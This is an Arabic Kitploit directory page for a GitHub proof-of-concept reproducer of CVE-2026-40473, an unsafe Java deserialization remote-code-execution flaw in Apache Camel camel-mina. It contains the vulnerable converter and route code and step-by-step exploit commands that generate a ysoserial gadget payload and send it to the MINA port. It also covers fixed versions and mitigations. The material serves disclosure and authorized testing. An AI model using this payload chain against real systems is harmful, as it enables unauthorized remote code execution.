Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-40473 — مكرر لـ CVE-2026-40473: إلغاء التسلسل غير الآمن لـ MinaConverter.toObjectInput في Apache Camel camel-mina (RCE عبر TCP/UDP) | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-40473
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليماستغلال الملفات الثنائية
GitHuboscerd/cve-2026-40473

CVE-2026-40473

مكرر لـ CVE-2026-40473: إلغاء التسلسل غير الآمن لـ MinaConverter.toObjectInput في Apache Camel camel-mina (RCE عبر TCP/UDP)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مُعيد إنتاج إلغاء التسلسل غير الآمن MinaConverter.toObjectInput في camel-mina (CVE-2026-40473)

يُظهر هذا المشروع ثغرة إلغاء تسلسل في Java في مكوّن Apache Camel camel-mina، المُتتبّع باسم CVE-2026-40473. يُغلّف محوّل النوع MinaConverter.toObjectInput(IoBuffer) البايتات المُستلمة في ObjectInputStream خام بدون ObjectInputFilter، لذا يمكن للمسار الذي يحوّل نص TCP/UDP إلى ObjectInput ويستدعي readObject() أن يُستغلّ لـ تنفيذ أكواد عن بُعد من قبل مهاجم يُرسل كائنًا مُتسلسلًا معدلًا إلى منفذ MINA.

إرشادات: https://camel.apache.org/security/CVE-2026-40473.html

ملخص الثغرة

التفاصيل الفنية

يُغلّف محوّل النوع IoBuffer → ObjectInput المخزّن المؤقت في ObjectInputStream خام:

root@kitploit:~
// MinaConverter.toObjectInput(IoBuffer) - الإصدار المتأثر
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // لا يوجد ObjectInputFilter
}

عندما يُوصّل مُستهلك camel-mina TCP/UDP البايتات الخام (مثلاً مع allowDefaultCodec=false) ويطلب المسار ObjectInput (getBody(ObjectInput.class), @Body ObjectInput, أو convertBodyTo(ObjectInput.class))، يعمل هذا المحوّل. يؤدي استدعاء readObject() على الدفق المُعاد إلى تنفيذ أي سلسلة أدوات في البايتات التي قدمها المهاجم.

المسار الضحية

root@kitploit:~
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // مغسلة إلغاء التسلسل
        exchange.getMessage().setBody("deserialized: " + obj);
    });

المتطلبات الأساسية

  • Java 17+ و Maven 3.8+ (لبناء الجرة)
  • Docker (لتشغيل المُعيد)
  • ysoserial (لتوليد الحمولة)

خطوات الإعادة

الخطوة 1: بناء الجرة وتشغيل الحاوية

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

الخطوة 2: توليد حمولة خبيثة

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# على JDK 21 أضف --add-opens لتوليد أدوات CommonsCollections:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

الخطوة 3: إرسالها عبر TCP إلى منفذ MINA (RCE)

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# يقوم المساعد المرفوع بفتح مقبس TCP خام إلى mina:5555 وكتابة البايتات؛ يقوم المسار الضحية
# بتحويلها إلى ObjectInput واستدعاء readObject().
# -> ">>> دليل RCE — /tmp/pwned موجود: true"

(منفذ MINA 5555 داخلي للحاوية في هذا الإثبات؛ يقوم مساعد /exploit/inject بإرسال TCP الخام من الداخل. قم بكشف المنفذ 5555 للإرسال من المضيف باستخدام عميل خام مثل nc.)

الخطوة 4: التحقق

root@kitploit:~
docker exec cve-2026-40473 ls -la /tmp/pwned

التنظيف

root@kitploit:~
docker compose down

نواقل الهجوم

أي مُستهلك TCP أو UDP في camel-mina يقوم مساره بتحويل النص إلى ObjectInput (مباشرة، عبر @Body ObjectInput، أو convertBodyTo(ObjectInput.class)) يمكن استغلاله من قبل أي شخص يمكنه الوصول إلى منفذ MINA.

شروط الاستغلال

  1. مُستهلك TCP/UDP في camel-mina يطلب تحويل البايتات المستلمة إلى ObjectInput.
  2. وجود مكتبة أدوات على مسار الفئات (مثل commons-collections:3.2.1).

الإصلاح المُوصى به

قم بالترقية إلى 4.14.6 / 4.18.2 / 4.20.0. يطبق الإصلاح ObjectInputFilter / قائمة مسموح بها للفئات على المحوّل (مطابقاً للتعزيز المطبق على camel-netty و camel-jms و camel-infinispan).

التخفيف

إلى حين الترقية:

  1. لا تقم بتحويل نصوص MINA غير الموثوقة إلى ObjectInput / لا تقم بإلغاء تسلسلها.
  2. أزل مكتبات الأدوات (قم بترقية/إزالة commons-collections 3.x).
  3. قيّد الوصول إلى الشبكة لمنفذ MINA على الأطراف الموثوقة فقط.

الملفات

root@kitploit:~
CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # الضحية: from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject: يرسل بايتات متسلسلة عبر TCP إلى mina:5555
    └── resources/
        └── application.properties

إخلاء المسؤولية

هذا المُعيد مُقدم للبحث الأمني والاختبار المصرح به فقط، لثغرة مُفصح عنها علناً ومُصلحة. لا تستخدمه ضد أنظمة دون إذن صريح.

تنزيل الأداة
الخاصيةالقيمة
المكوّنcamel-mina
الفئة المتأثرةorg.apache.camel.component.mina.MinaConverter (toObjectInput)
CWECWE-502: إلغاء تسلسل بيانات غير موثوقة
التأثيرتنفيذ أكواد عن بُعد (RCE) عبر TCP/UDP
الإصدارات المتأثرةمن 3.0.0 قبل 4.14.6، من 4.15.0 قبل 4.18.2، من 4.19.0 قبل 4.20.0
الإصدارات المُصحَّحة4.14.6، 4.18.2، 4.20.0
JIRACAMEL-23319
المُبلِّغVenkatraman Kumar (Securin)